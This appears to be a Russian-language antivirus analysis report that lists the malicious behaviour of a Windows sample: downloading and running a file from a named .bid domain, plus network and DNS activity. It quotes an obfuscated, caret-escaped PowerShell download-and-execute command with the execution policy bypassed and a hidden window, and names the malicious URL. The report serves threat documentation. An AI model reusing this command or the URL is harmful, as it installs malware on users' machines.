Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://asecwitlecn.bid/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^oWE^r^sH^ElL.EX^E -ExecutiOnP^oL^icY B^YpA^Ss -nOp^roF^i^l^e -^WI^N^DOW^S^Tyle^ hi^DDE^N (NEW-oB^jE^cT ^sYS^teM.n^ET.we^BcL^IEnT).^dO^W^nLo^aD^Fi^L^e('http://asecwitlecn.bid/rea...
Сетевая активность
Подключается к
- 'as###itlecn.bid':80
TCP
Запросы HTTP GET
- http://as###itlecn.bid/read.php?f=#####
UDP
- DNS ASK as###itlecn.bid
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^oWE^r^sH^ElL.EX^E -ExecutiOnP^oL^icY B^YpA^Ss -nOp^roF^i^l^e -^WI^N^DOW^S^Tyle^ hi^DDE^N (NEW-oB^jE^cT ^sYS^teM.n^ET.we^BcL^IEnT).^dO^W^nLo^aD^Fi^L^e('http://asecwitlecn.bid/rea...' (со скрытым окном)
